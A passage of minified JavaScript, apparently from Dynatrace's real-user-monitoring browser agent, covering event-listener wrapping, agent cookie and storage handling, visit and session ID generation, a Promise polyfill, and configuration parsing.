A&&"symbol"!==typeof A||!(A in k))return!1;return!!xb.length}function la(k,w,M,A){"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));if(k===Bb)Ya?Ya(w,M,A):Pb&&Pb("on"+w,M);else if(cc&&W(k,21))lc.call(k,w,M,A);else if(k.addEventListener)if(k===Bb.document||k===Bb.document.documentElement)Sb.call(k, w,M,A);else try{Ya.call(k,w,M,A)}catch(ec){k.addEventListener(w,M,A)}else k.attachEvent&&k.attachEvent("on"+w,M);A=!1;for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){A=!0;break}}A||C($c,{object:k,event:w,da:M})}function ua(k,w,M,A){for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){$c.splice(Ta,1);break}}"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));k===Bb?tb?tb(w,M,A):Pb&&Pb("on"+w,M):k.removeEventListener? k===Bb.document||k===Bb.document.documentElement?Ub.call(k,w,M,A):tb.call(k,w,M,A):k.detachEvent&&k.detachEvent("on"+w,M)}function Ka(k,w){var M=!1;try{if(Ya&&-1<ia(Vd,k)){var A=Object.defineProperty({},"passive",{get:function(){M=!0}});Ya("test",Ea,A)}}catch(Ta){}return M?{passive:!0,capture:w}:w}function Hb(){for(var k=$c,w=k.length;0<=--w;){var M=k[w];ua(M.object,M.event,M.da)}$c=[]}function ib(k,w,M){if(M||2===arguments.length)for(var A=0,Ta=w.length,xb;A<Ta;A++)!xb&&A in w||(xb||(xb=Array.prototype.slice.call(w, 0,A)),xb[A]=w[A]);return k.concat(xb||Array.prototype.slice.call(w))}function aa(k){return"function"===typeof k&&/{\s+\[native code]/.test(Function.prototype.toString.call(k))}function qa(k,w){for(var M,A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];return void 0!==Function.prototype.bind&&aa(Function.prototype.bind)?(M=Function.prototype.bind).call.apply(M,ib([k,w],A,!1)):function(){for(var xb=0;xb<arguments.length;xb++);return k.apply(w,(A||[]).concat(Array.prototype.slice.call(arguments)|| []))}}function V(){if(yd){var k=new yd;if(Kd)for(var w=0,M=ie;w<M.length;w++){var A=M[w];void 0!==Kd[A]&&(k[A]=qa(Kd[A],k))}return k}return dd?new dd("MSXML2.XMLHTTP.3.0"):Bb.XMLHttpRequest?new Bb.XMLHttpRequest:new Bb.ActiveXObject("MSXML2.XMLHTTP.3.0")}function pa(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var k=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return k}function Va(){return void 0=== Bb.dialogArguments?navigator.cookieEnabled||pa():pa()}function nb(){return Ne}function lb(k){Ne=k}function jb(k){var w=I("rid"),M=I("rpid");w&&(k.rid=w);M&&(k.rpid=M)}function Ab(k){if(k=k.xb){k=Q(k);try{Ne=new RegExp(k,"i")}catch(w){}}else Ne=void 0}function gc(k){return"n"===k||"s"===k||"l"===k?";SameSite=".concat(ig[k]):""}function Vb(k,w,M){var A=1,Ta=0;do document.cookie=k+'=""'+(w?";domain="+w:"")+";path="+M.substring(0,A)+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;",A=M.indexOf("/",A),Ta++;while(-1!== A&&5>Ta)}function Ha(k){var w={},M=0;for(k=k.split("|");M<k.length;M++){var A=k[M].split("=");2===A.length&&(w[A[0]]=decodeURIComponent(A[1].replace(/\+/g," ")))}return w}function yb(){var k=I("csu");return(k.indexOf("dbg")===k.length-3?k.substring(0,k.length-3):k)+"_"+I("app")+"_Store"}function vb(k,w,M){void 0===w&&(w={});var A=0;for(k=k.split("|");A<k.length;A++){var Ta=k[A],xb=Ta,ec=ra(Ta,"=");-1===ec?w[xb]="1":(xb=Ta.substring(0,ec),w[xb]=Ta.substring(ec+1,Ta.length))}!M&&(M=w,A=M.spc)&&(k=document.createElement("textarea"), k.innerHTML=A,M.spc=k.value);return w}function ca(k){var w;return null!==(w=xc[k])&&void 0!==w?w:Yc[k]}function Oa(k){k=ca(k);return"false"===k||"0"===k?!1:!!k}function Za(k){var w=ca(k);w=U(w);isNaN(w)&&(w=Yc[k]);return w}function I(k){return String(ca(k)||"")}function ka(k,w){xc[k]=String(w)}function Ba(k){return xc=k}function $a(k){xc[k]=0>ra(xc[k],"#"+k.toUpperCase())?xc[k]:""}function Cb(k){var w=k.agentUri;w&&-1<ra(w,"_")&&(w=/([a-zA-Z]*)[0-9]{0,4}_([a-zA-Z_0-9]*)_[0-9]+/g.exec(w))&&w.length&& 2<w.length&&(k.csu=w[1],k.featureHash=w[2])}function bd(k){var w=k.domain||"";var M=(M=location.hostname)&&w?M===w||-1!==M.indexOf("."+w,M.length-("."+w).length):!0;if(!w||!M){k.domainOverride||(k.domainOriginal=k.domain||"",k.domainOverride="".concat(location.hostname,",").concat(w),delete k.domain);var A=I("cssm");var Ta=document.domain||"";if(Ta){Ta=Ta.split(".").reverse();var xb=Ta.length;if(1>=xb)A="";else{for(var ec=Ta[0],uc="",qc=1;qc<=xb;qc++)if(ba("dTValidationCookie")){uc=ec;break}else{Ta[qc]&& (ec="".concat(Ta[qc],".").concat(ec));var ud="".concat("dTValidationCookie","=dTValidationCookieValue;path=/;domain=").concat(ec);ud+=gc(A);document.cookie=ud}Vb("dTValidationCookie",uc,"/");A=uc}}else A="";A&&(k.domain=A);M||C(me,{type:"dpi",severity:"Warning",text:'Configured domain "'.concat(w,'" is invalid for current location "').concat(location.hostname,'". Agent will use "').concat(k.domain,'" instead.')})}}function Qb(k,w){bd(k);var M=xc.pVO;M&&(k.pVO=M);w||(w=k.bp||Yc.bp,k.bp2&&(w=2),k.bp= String(w))}function Zb(){return xc}function q(k){return Yc[k]===ca(k)}function D(){if(Bb.MobileAgent||Bb.dynatraceMobile){var k=db("dtAdkSettings");return Vf.dT_.p3SC(k).privacyState||null}return null}function t(){var k=D();return 2===k||1===k?!1:!Vf.dT_.bcv("coo")||Vf.dT_.bcv("cooO")||Vf.dT_.iSM()}function y(k,w){return!t()||Bb.dT_.overloadPrevention&&!mc()?null:k.apply(this,w||[])}function Y(k,w){try{var M=Ld;M&&M.setItem(k,w)}catch(A){}}function x(k,w){y(Y,[k,w])}function oa(k){try{var w=Ld;if(w)return w.getItem(k)}catch(M){}return null} function R(k){try{var w=Ld;w&&w.removeItem(k)}catch(M){}}function O(k){document.cookie=k+'="";path=/'+(I("domain")?";domain="+I("domain"):"")+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}function wa(k,w,M,A){Oe=!0;w||0===w?(w=String(w).replace(/[;\n\r]/g,"_"),k=k+"="+w+";path=/"+(I("domain")?";domain="+I("domain"):""),M&&(k+=";expires="+M.toUTCString()),k+=gc(I("cssm")),A&&"https:"===location.protocol&&(k+=";Secure"),document.cookie=k):O(k);Oe=!1}function Ga(k,w,M,A){y(wa,[k,w,M,A])}function Wa(k){return-1=== ra(k,"v_4")?!1:!0}function Eb(k){k=ba("dtCookie",k);k||((k=oa("dtCookie"))&&Wa(k)?Lb(k):k="");return Wa(k)?k:""}function Lb(k){Ga("dtCookie",k,void 0,Oa("ssc"))}function Nb(k){return(k=k||Eb())?Oc(k):{sessionId:"",serverId:"",overloadState:0}}function ac(k){return Nb(k).serverId}function rc(k){return Nb(k).sessionId}function mc(){return 0<=ra(navigator.userAgent,"RuxitSynthetic")}function Oc(k){var w={sessionId:"",serverId:"",overloadState:0},M=k.split("_");if(2<M.length&&0===M.length%2){k=Number(M[1]); if(isNaN(k)||3>k)return w;k={};for(var A=2;A<M.length;A++)k[M[A]]=M[A+1],A++;k.sn?(M=k.sn,M=M.length===cd||12>=M.length?M:""):M="hybrid";w.sessionId=M;if(k.srv){a:{M=k.srv.replace("-2D","-");if(!isNaN(Number(M))&&(A=U(M),-99<=A&&99>=A))break a;M=""}w.serverId=M}M=Number(k.ol);if(1===M){A=mc();var Ta=Bb.dT_;A||(x("dtDisabled","true"),Ta.disabled=!0,Ta.overloadPrevention=!0)}0<=M&&2>=M&&(w.overloadState=M);k=Number(k.prv);isNaN(k)||(w.privacyState=1>k||4<k?1:k)}return w}function Kc(){return Vc()}function gd(k, w){function M(){delete Bg[xb];k.apply(this,arguments)}for(var A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];if("apply"in Ee){A.unshift(M,w);var xb=Ee.apply(Bb,A)}else xb=Ee(M,w);Bg[xb]=!0;return xb}function ma(k){delete Bg[k];"apply"in Fe?Fe.call(Bb,k):Fe(k)}function Ca(k){C(tf,k)}function Ra(k){for(var w=tf.length;w--;)if(tf[w]===k){tf.splice(w,1);break}}function Sa(){return tf}function Db(k,w){return mi(k,w)}function Yb(k){Ge(k)}function Na(k,w){if(!Wd||!jg)return"";k=new Wd([k],{type:w}); return jg(k)}function oc(k,w){return je?new je(k,w):void 0}function rb(k){"function"===typeof k&&C(Wf,k)}function wb(){return Wf}function pc(){return Jd}function Sc(k){return function(){for(var w=[],M=0;M<arguments.length;M++)w[M]=arguments[M];if("number"!==typeof w[0]||!Bg[w[0]])try{return k.apply(this,w)}catch(A){return k(w[0])}}}function ed(){return me}function $b(){J=Ua;Bb.performance&&(Vc=function(){return Math.round(J()+ab())});if(!Vc||isNaN(Vc())||0>=Vc()||!isFinite(Vc()))Vc=function(){return(new Date).getTime()}} function Ac(){kg&&(Bb.clearTimeout=Fe,Bb.clearInterval=Ge,kg=!1)}function Ic(k,w){try{Bb.localStorage&&Bb.localStorage.setItem(k,w)}catch(M){}}function Nc(k){try{Bb.localStorage&&Bb.localStorage.removeItem(k)}catch(w){}}function qd(){Nc("rxec");Nc("rxvisitid");Nc("rxvt")}function ad(k){t()?k():(Cf||(Cf=[]),C(Cf,k))}function dc(k){return y(k)}function Lc(){if(Oa("coo")&&!t()){for(var k=0,w=Cf;k<w.length;k++)gd(w[k],0);Cf=[];ka("cooO",!0)}}function jd(){if(Oa("coo")&&t()){ka("cooO",!1);O("dtCookie"); O("dtPC");O("dtLatC");O("dtSa");O("dtAdk");O("rxVisitor");O("rxvt");try{R("rxec");R("rxvisitid");R("rxvt");qd();var k=Ld;k&&(k.removeItem("rxVisitor"),k.removeItem("dtCookie"));if(k=lg)k.removeItem(yb()),k.removeItem("dtAdk")}catch(w){}}}function bc(k,w){void 0===w&&(w=document.cookie||"");return w.split(k+"=").length-1}function ic(k,w){var M=bc(k,w);if(1<M){w=I("domain")||Bb.location.hostname;var A=Bb.location.hostname,Ta=Bb.location.pathname,xb=0,ec=0;nf.push(k);do{var uc=A.substring(xb);if(uc!== w||"/"!==Ta){Vb(k,uc===w?"":uc,Ta);var qc=bc(k);qc<M&&(nf.push(uc),M=qc)}xb=A.indexOf(".",xb)+1;ec++}while(0!==xb&&10>ec&&1<M);I("domain")&&1<M&&Vb(k,"",Ta)}}function Pd(){var k=document.cookie;ic("dtPC",k);ic("dtCookie",k);ic("dtLatC",k);ic("rxvt",k);0<nf.length&&C(me,{severity:"Error",type:"dcn",text:"Duplicate cookie name".concat(1!==nf.length?"s":""," detected: ").concat(nf.join(", "))});Ca(function(w,M,A,Ta){0<nf.length&&!M&&(w.av(Ta,"dCN",nf.join(",")),nf=[]);0<ih.length&&!M&&(w.av(Ta,"eCC", ih.join(",")),ih=[])})}function af(k){var w=k,M=Math.pow(2,32);return function(){w=(1664525*w+1013904223)%M;return w/M}}function Se(k,w){return isNaN(k)||isNaN(w)?Math.floor(33*Rg()):Math.floor(Rg()*(w-k+1))+k}function Qd(k){if(!k)return"";var w=Bb.crypto||Bb.msCrypto;if(w&&-1===ra(navigator.userAgent,"Googlebot"))w=w.getRandomValues(new Uint8Array(k));else{w=[];for(var M=0;M<k;M++)w.push(Se(0,32))}k=[];for(M=0;M<w.length;M++){var A=Math.abs(w[M]%32);k.push(String.fromCharCode(A+(9>=A?48:55)))}return k.join("")} function ke(){return of}function Wc(k){k&&(null===k||void 0===k?0:k.configurable)&&k.set&&k.get&&Object.defineProperty(document,"cookie",{get:function(){return k.get.call(document)},set:function(w){var M=w.split("=")[0];k.set.call(document,w);Oe?1<bc(M)&&nf.push(M):-1<ia(Xf,M)&&(ih.push(M),-1===ia(Sg,M)&&(C(Sg,M),C(me,{severity:"Error",type:"ecm",text:"Invalid modification of agent cookie ".concat(M," detected. Modifying Dynatrace cookies may result in missing or invalid data.")})))}})}function Te(k){void 0=== k&&(k=!0);Cg=k}function Bd(k,w,M){var A=Za("pcl");A=k.length-A;0<A&&k.splice(0,A);A=ac(ba("dtCookie",M));for(var Ta=[],xb=A?"".concat(A,"$"):"",ec=0;ec<k.length;ec++){var uc=k[ec];"-"!==uc.G&&Ta.push("".concat(xb).concat(uc.frameId,"h").concat(uc.G))}k=Ta.join("p");k||(Cg&&(E(!0,"a",M),Te(!1)),k+="".concat(A,"$").concat(of,"h-"));k+="v".concat(w||ye(M));Ga("dtPC",k+"e0",void 0,Oa("ssc"))}function Rd(k,w){void 0===w&&(w=document.cookie);var M=ba("dtPC",w);w=[];if(M&&"-"!==M){var A="";var Ta=0;for(M= M.split("p");Ta<M.length;Ta++){var xb=M[Ta],ec=A,uc=k;void 0===ec&&(ec="");A=ra(xb,"$");var qc=ra(xb,"h");var ud=ra(xb,"v"),We=ra(xb,"e");A=xb.substring(A+1,qc);qc=-1!==ud?xb.substring(qc+1,ud):xb.substring(qc+1);ec||-1===ud||(ec=-1!==We?xb.substring(ud+1,We):xb.substring(ud+1));xb=null;uc||(uc=U(A.split("_")[0]),ud=Vc()%Tg,ud<uc&&(ud+=Tg),uc=uc+9E5>ud);uc&&(xb={frameId:A,G:"-"===qc?"-":U(qc),visitId:""});A=ec;(qc=xb)&&w.push(qc)}for(k=0;k<w.length;k++)w[k].visitId=A}return w}function Xe(k,w){var M= document.cookie;w=Rd(w,M);for(var A=!1,Ta=0;Ta<w.length;Ta++){var xb=w[Ta];xb.frameId===of&&(xb.G=k,A=!0)}A||C(w,{frameId:of,G:k,visitId:""});Bd(w,void 0,M)}function ye(k){return zd(k)||E(!0,"c",k)}function zd(k){if(fc(k)<=Vc())return E(!0,"t",k);var w=vd(k);if(!w)return E(!0,"c",k);var M=ni.exec(w);if(!M||3!==M.length||32!==M[1].length||isNaN(U(M[2])))return E(!0,"i",k);x("rxvisitid",w);return w}function ze(k,w){var M=Vc();w=Ib(w).Gc;k&&(w=M);bb(M+Df+"|"+w);sa()}function ne(k){var w="t"+(Vc()-fc(k)), M=vd(k),A=He();ve(A,k);N(A,w,M)}function vd(k){var w,M;return null!==(M=null===(w=Rd(!0,k)[0])||void 0===w?void 0:w.visitId)&&void 0!==M?M:oa("rxvisitid")}function He(){var k=Qd(cd);k=k.replace(/[0-9]/g,function(w){w=.1*U(w);return String.fromCharCode(Math.floor(25*w+65))});return k+"-0"}function ve(k,w){var M=Rd(!1,w);Bd(M,k,w);x("rxvisitid",k);ze(!0)}function u(k,w,M){return E(k,w,M)}function E(k,w,M){k&&(Ef=!0);k=vd(M);M=He();ve(M);N(M,w,k);return M}function N(k,w,M){if(vd(document.cookie))for(var A= 0,Ta=Yf;A<Ta.length;A++)(0,Ta[A])(k,Ef,w,M)}function ha(k){Yf.push(k)}function sa(k){wd&&ma(wd);wd=gd(Ia,fc(k)-Vc())}function Ia(){var k=document.cookie;if(fc(k)<=Vc())return y(ne,[k]),!0;ad(sa);return!1}function bb(k){Ga("rxvt",k,void 0,Oa("ssc"));x("rxvt",k)}function cb(k,w){(w=ba(k,w))||(w=oa(k)||"");return w}function Fb(){var k=zd()||"";x("rxvisitid",k);k=cb("rxvt");bb(k);qd()}function Ib(k){var w={Ad:0,Gc:0};if(k=cb("rxvt",k))try{var M=k.split("|");2===M.length&&(w.Ad=parseInt(M[0],10),w.Gc= parseInt(M[1],10))}catch(A){}return w}function fc(k){k=Ib(k);return Math.min(k.Ad,k.Gc+Mf)}function Ec(k){Df=k}function ld(){var k=Ef;Ef=!1;return k}function fd(){Ia()||ze(!1)}function hd(k){try{if(Bb.localStorage)return Bb.localStorage.getItem(k)}catch(w){}return null}function od(){var k=ba("rxVisitor");k&&45===(null===k||void 0===k?void 0:k.length)||(k=hd("rxVisitor")||oa("rxVisitor"),45!==(null===k||void 0===k?void 0:k.length)&&(Nf=!0,k=String(Vc()),k+=Qd(45-k.length)));we(k);return k}function we(k){if(Oa("dpvc")|| Oa("pVO"))x("rxVisitor",k);else{var w=new Date;var M=w.getMonth()+Math.min(24,Math.max(1,Za("rvcl")));w.setMonth(M);y(Ic,["rxVisitor",k])}Ga("rxVisitor",k,w,Oa("ssc"))}function ce(){return Nf}function Xd(k){var w=ba("rxVisitor");O("rxVisitor");R("rxVisitor");Nc("rxVisitor");ka("pVO",!0);we(w);k&&y(Ic,["dt-pVO","1"]);Fb()}function Hd(){Nc("dt-pVO");Oa("pVO")&&(ka("pVO",!1),od());R("rxVisitor");Fb()}function xf(k,w,M,A,Ta){var xb=document.createElement("script");xb.setAttribute("src",k);w&&xb.setAttribute("defer", "defer");M&&(xb.onload=M);A&&(xb.onerror=A);Ta&&xb.setAttribute("id",Ta);xb.setAttribute("crossorigin","anonymous");k=document.getElementsByTagName("script")[0];k.parentElement.insertBefore(xb,k)}function Of(k,w){return Ff+"/"+(w||Ug)+"_"+k+"_"+(Za("buildNumber")||Bb.dT_.version)+".js"}function Dg(){var k,w;try{null===(w=null===(k=Bb.MobileAgent)||void 0===k?void 0:k.incrementActionCount)||void 0===w?void 0:w.call(k)}catch(M){}}function jh(){var k,w=Bb.dT_;Bb.dT_=(k={},k.di=0,k.version="10243220606153550", k.cfg=w?w.cfg:"",k.iCE=w?Va:function(){return navigator.cookieEnabled},k.ica=1,k.disabled=!1,k.overloadPrevention=!1,k.gAST=pc,k.ww=oc,k.stu=Na,k.nw=Kc,k.apush=C,k.st=gd,k.si=Db,k.aBPSL=Ca,k.rBPSL=Ra,k.gBPSL=Sa,k.aBPSCC=rb,k.gBPSCC=wb,k.buildType="dynatrace",k.gSSV=oa,k.sSSV=x,k.rSSV=R,k.rvl=Nc,k.pn=U,k.iVSC=Wa,k.p3SC=Oc,k.io=ra,k.dC=O,k.sC=Ga,k.esc=H,k.gSId=ac,k.gDtc=rc,k.gSC=Eb,k.sSC=Lb,k.gC=db,k.cRN=Se,k.cRS=Qd,k.gEL=L,k.gEBTN=eb,k.cfgO=Zb,k.pCfg=Ha,k.pCSAA=vb,k.cFHFAU=Cb,k.sCD=Qb,k.bcv=Oa,k.ncv= Za,k.scv=I,k.stcv=ka,k.rplC=Ba,k.cLSCK=yb,k.gFId=ke,k.gBAU=Of,k.iS=xf,k.eWE=ad,k.oEIE=dc,k.oEIEWA=y,k.eA=Lc,k.dA=jd,k.iNV=ce,k.gVID=od,k.dPV=Xd,k.ePV=Hd,k.sVIdUP=Te,k.sVTT=Ec,k.sVID=ve,k.rVID=zd,k.gVI=ye,k.gNVIdN=u,k.gARnVF=ld,k.cAUV=fd,k.uVT=ze,k.aNVL=ha,k.gPC=Rd,k.cPC=Xe,k.sPC=Bd,k.clB=Ac,k.ct=ma,k.aRI=jb,k.iXB=Ab,k.gXBR=nb,k.sXBR=lb,k.de=Q,k.cCL=La,k.iEC=Dg,k.rnw=ab,k.gto=za,k.ael=la,k.rel=ua,k.sup=Ka,k.cuel=Hb,k.iAEPOO=t,k.iSM=mc,k.aIOf=ia,k.gxwp=V,k.iIO=W,k.prm=ja,k.cI=Yb,k.gidi=ed,k.iDCV=q, k.gCF=ba,k.gPSMB=D,k.lvl=hd,k)}function pf(){ad(function(){if(!rc()){var k=-1*Se(2,99),w=Qd(cd);Lb("v_4_srv_".concat(String(k).replace("-","-2D"),"_sn_").concat(w))}})}var Vf="undefined"!==typeof window?window:self,Bb="undefined"!==typeof window?window:self,tg,J,B=setTimeout;na.prototype["catch"]=function(k){return this.then(null,k)};na.prototype.then=function(k,w){var M=new this.constructor(Z);ta(this,new S(k,w,M));return M};na.prototype["finally"]=function(k){var w=this.constructor;return this.then(function(M){return w.resolve(k()).then(function(){return M})}, function(M){return w.resolve(k()).then(function(){return w.reject(M)})})};na.all=function(k){return new na(function(w,M){function A(uc,qc){try{if(qc&&("object"===typeof qc||"function"===typeof qc)){var ud=qc.then;if("function"===typeof ud){ud.call(qc,function(We){A(uc,We)},M);return}}Ta[uc]=qc;0===--xb&&w(Ta)}catch(We){M(We)}}if(!k||"undefined"===typeof k.length)return M(new TypeError("Promise.all accepts an array"));var Ta=Array.prototype.slice.call(k);if(0===Ta.length)return w([]);for(var xb=Ta.length, ec=0;ec<Ta.length;ec++)A(ec,Ta[ec])})};na.allSettled=function(k){return new this(function(w,M){function A(ec,uc){if(uc&&("object"===typeof uc||"function"===typeof uc)){var qc=uc.then;if("function"===typeof qc){qc.call(uc,function(ud){A(ec,ud)},function(ud){Ta[ec]={status:"rejected",reason:ud};0===--xb&&w(Ta)});return}}Ta[ec]={status:"fulfilled",value:uc};0===--xb&&w(Ta)}if(!k||"undefined"===typeof k.length)return M(new TypeError(typeof k+" "+k+" is not iterable(cannot read property Symbol(Symbol.iterator))")); var Ta=Array.prototype.slice.call(k);if(0===Ta.length)return w([]);var xb=Ta.length;for(M=0;M<Ta.length;M++)A(M,Ta[M])})};na.resolve=function(k){return k&&"object"===typeof k&&k.constructor===na?k:new na(function(w){w(k)})};na.reject=function(k){return new na(function(w,M){M(k)})};na.race=function(k){return new na(function(w,M){if(!k||"undefined"===typeof k.length)return M(new TypeError("Promise.race accepts an array"));for(var A=0,Ta=k.length;A<Ta;A++)na.resolve(k[A]).then(w,M)})};na.Jb="function"=== typeof setImmediate&&function(k){setImmediate(k)}||function(k){B(k,0)};na.Qc=function(k){"undefined"!==typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",k)};var K=na,Fa={"!":"%21","~":"%7E","*":"%2A","(":"%28",")":"%29","'":"%27",$:"%24",";":"%3B",",":"%2C"},Ya,tb,Sb,Ub,Pb=Bb.attachEvent,cc=Bb.Worker,lc=cc&&cc.prototype.addEventListener,$c=[],Vd=["touchstart","touchend","scroll"],yd,dd,ie="abort getAllResponseHeaders getResponseHeader open overrideMimeType send setRequestHeader".split(" "), Kd,Ne,Yc,Ce,ig=(Ce={},Ce.l="Lax",Ce.s="Strict",Ce.n="None",Ce),xc={},Ld,Oe=!1,cd=32,je=Bb.Worker,Wd=Bb.Blob,jg=Bb.URL&&Bb.URL.createObjectURL,Fe,Ge,Ee,mi,kg=!1,tf,Wf=[],me=[],Jd,lg,Bg={},Vc,Cf=[],nf=[],ih=[],Rg,Eg,of,Tg=6E8,Xf=[],Sg=[],Cg=!1,ni=/([A-Z]+)-([0-9]+)/,Yf=[],Df,Mf,Ef=!1,wd,Nf=!1,Ye,Ff,Ug;(function(k){var w,M;k=k||0>(null===(w=navigator.userAgent)||void 0===w?void 0:w.indexOf("RuxitSynthetic"));if(!Bb.dT_||!Bb.dT_.cfg||"string"!==typeof Bb.dT_.cfg||"initialized"in Bb.dT_&&Bb.dT_.initialized)null=== (M=Bb.console)||void 0===M?void 0:M.log("InitConfig not found or agent already initialized! This is an injection issue."),Bb.dT_&&(Bb.dT_.di=3);else if(k)try{jh();var A;Yc=(A={},A.ade="",A.aew=!0,A.apn="",A.agentLocation="",A.agentUri="",A.app="",A.async=!1,A.ase=!1,A.auto=!1,A.bp1=!1,A.bp2=!1,A.bp=1,A.bisaoi=!1,A.bisCmE="",A.bs=!1,A.buildNumber=0,A.csprv=!0,A.cepl=16E3,A.cls=!0,A.ccNcss=!1,A.cg=!1,A.coo=!1,A.cooO=!1,A.cssm="0",A.cwt="",A.cwtUrl="27pd8x1igg",A.cors=!1,A.csu="",A.cuc="",A.cce=!1,A.cux= !1,A.dataDtConfig="",A.debugName="",A.dvl=500,A.dASXH=!1,A.disableCookieManager=!1,A.disableLogging=!1,A.dmo=!1,A.doel=!1,A.dpch=!1,A.dpvc=!1,A.disableXhrFailures=!1,A.domain="",A.domainOverride="",A.domainOriginal="",A.doNotDetect="",A.ds=!0,A.dsndb=!1,A.dsa=!1,A.dsss=!1,A.dssv=!0,A.earxa=!0,A.exp=!1,A.eni=!0,A.erjdw=!0,A.expw=!1,A.instr="",A.evl="",A.extblacklist="",A.euf=!1,A.fau=!0,A.fa=!1,A.fvdi=!1,A.featureHash="",A.hvt=216E5,A.ffi=!1,A.imm=!1,A.ign="",A.iub="",A.iqvn=!1,A.initializedModules= "",A.lastModification=0,A.lupr=!0,A.lab=!1,A.legacy=!1,A.lt=!0,A.mb="",A.md="",A.mdp="",A.mdl="",A.mcepsl=100,A.mdn=5E3,A.mhl=4E3,A.mpl=1024,A.mmds=2E4,A.msl=3E4,A.bismepl=2E3,A.mel=200,A.mepp=10,A.moa=30,A.mrt=3,A.ntd=!1,A.ncw=!1,A.oat=180,A.ote=!1,A.owasp=!1,A.pcl=20,A.pt=!0,A.perfbv=1,A.prfSmpl=0,A.pVO=!1,A.peti=!1,A.raxeh=!0,A.rdnt=0,A.nosr=!0,A.reportUrl="dynaTraceMonitor",A.rid="",A.ridPath="",A.rpid="",A.rcdec=12096E5,A.rtl=0,A.rtp=2,A.rtt=1E3,A.rtu=200,A.restoreTimeline=!1,A.rvcl=24,A.sl= 100,A.ssc=!1,A.svNB=!1,A.srad=!0,A.srbbv=1,A.srbw=!0,A.srmr=100,A.srms="1,1,,,",A.srsr=1E5,A.srtbv=3,A.srtd=1,A.srtr=500,A.srvr="",A.srvi=0,A.srwo=!1,A.srre="",A.srxcss=!0,A.srxicss=!0,A.srif=!1,A.srmrc=!1,A.srsdom=!1,A.srcss=!0,A.srmcrl=1,A.srmcrv=10,A.ssv=4,A.st=3E3,A.spc="",A.syntheticConfig=!1,A.tal=0,A.tp="500,50,3",A.tt=100,A.tvc=3E3,A.exteventsoff=!1,A.uxdce=!1,A.uxdcw=1500,A.uxrgce=!0,A.uxrgcm="100,25,300,3;100,25,300,3",A.uam=!1,A.uana="data-dtname,data-dtName",A.uanpi=0,A.pui=!1,A.usrvd= !0,A.vrt=!1,A.vcfi=!0,A.vcit=1E3,A.vct=50,A.vcx=50,A.vscl=0,A.vncm=1,A.xb="",A.chw="",A.xt=0,A.xhb="",A);var Ta;ja();var xb;yd=Bb.XMLHttpRequest;dd=Bb.ActiveXObject;var ec=null===(xb=Bb.XMLHttpRequest)||void 0===xb?void 0:xb.prototype;if(ec)for(Kd={},w=0,M=ie;w<M.length;w++){var uc=M[w];void 0!==ec[uc]&&(Kd[uc]=ec[uc])}Ya=Bb.addEventListener;tb=Bb.removeEventListener;Sb=Bb.document.addEventListener;Ub=Bb.document.removeEventListener;Ee=Bb.setTimeout;mi=Bb.setInterval;kg||(Fe=Bb.clearTimeout,Ge=Bb.clearInterval); var qc=Va?Va():navigator.cookieEnabled,ud=1===Oc(ba("dtAdkSettings")||(null===(Ta=lg)||void 0===Ta?void 0:Ta.getItem("dtAdkSettings"))||"").overloadState;La();if(!(!qc||ud?0:"complete"!==document.readyState||Bb.performance&&Bb.performance.timing))throw Error("Error during initCode initialization");try{lg=Bb.localStorage}catch(Xb){}$b();Jd=Vc();tf=[];me=[];Bg={};if(!kg){Bb.clearTimeout=Sc(Fe);Bb.clearInterval=Sc(Ge);kg=!0;try{Ld=Bb.sessionStorage}catch(Xb){}}var We=Math.random(),Ei=Math.random();Eg= 0!==We&&0!==Ei&&We!==Ei;if(-1!==ra(navigator.userAgent,"Googlebot")){var Ie=performance.getEntriesByType("navigation")[0];Ta=1;if(Ie){for(var Gf in Ie){var bf=Ie[Gf];"number"===typeof bf&&bf&&(Ta=1===Ta?bf:Ta+bf)}var kf=Math.floor(1E4*Ta)}else kf=Ta;Rg=af(kf)}else Eg?Rg=Math.random:Rg=af(Vc());of=Jd%Tg+"_"+U(Se(0,1E3)+"");a:{var Je=Bb.dT_.cfg;xc={reportUrl:"dynaTraceMonitor",initializedModules:"",csu:"dtagent",dataDtConfig:"string"===typeof Je?Je:""};Bb.dT_.cfg=xc;xc.csu="ruxitagentjs";var Ed=xc.dataDtConfig; Ed&&-1===ra(Ed,"#CONFIGSTRING")&&(vb(Ed,xc),$a("domain"),$a("auto"),$a("app"),Cb(xc));var mg=eb("script"),kh=L(mg),Fd=-1===ra(xc.dataDtConfig||"","#CONFIGSTRING")?xc:null;if(0<kh)for(kf=0;kf<kh;kf++)b:{Ie=void 0;var lh=mg[kf];Gf=Fd;if(lh.attributes){var Sd=xc.csu+"_bootstrap.js";bf=/.*\/jstag\/.*\/.*\/(.*)_bs(_dbg)?.js$/;Je=Gf;var Bc=lh.src,qe=null===Bc||void 0===Bc?void 0:Bc.indexOf(Sd),fj=lh.attributes.getNamedItem("data-dtconfig");if(fj){Ed=void 0;Ta=Bc;var Zf=fj.value;ec={};xc.legacy="1";uc=/([a-zA-Z]*)_([a-zA-Z_0-9]*)_([0-9]+)/g; Ta&&(Ed=uc.exec(Ta),null===Ed||void 0===Ed?0:Ed.length)&&(ec.csu=Ed[1],ec.featureHash=Ed[2],ec.agentLocation=Ta.substring(0,ra(Ta,Ed[1])-1),ec.buildNumber=Ed[3]);if(Zf){vb(Zf,ec,!0);var Fi=ec.agentUri;!Ta&&Fi&&(Ed=uc.exec(Fi),null===Ed||void 0===Ed?0:Ed.length)&&(ec.csu=Ed[1])}bd(ec);Ie=ec;if(!Gf)Je=Ie;else if(!Ie.syntheticConfig){Fd=Ie;break b}}Ie||(Ie=xc);if(0<qe){var Gi=qe+Sd.length+5;Ie.app=Bc.length>Gi?Bc.substring(Gi):"Default%20Application"}else if(Bc){var oi=bf.exec(Bc);oi&&(Ie.app=oi[1])}Fd= Je}else 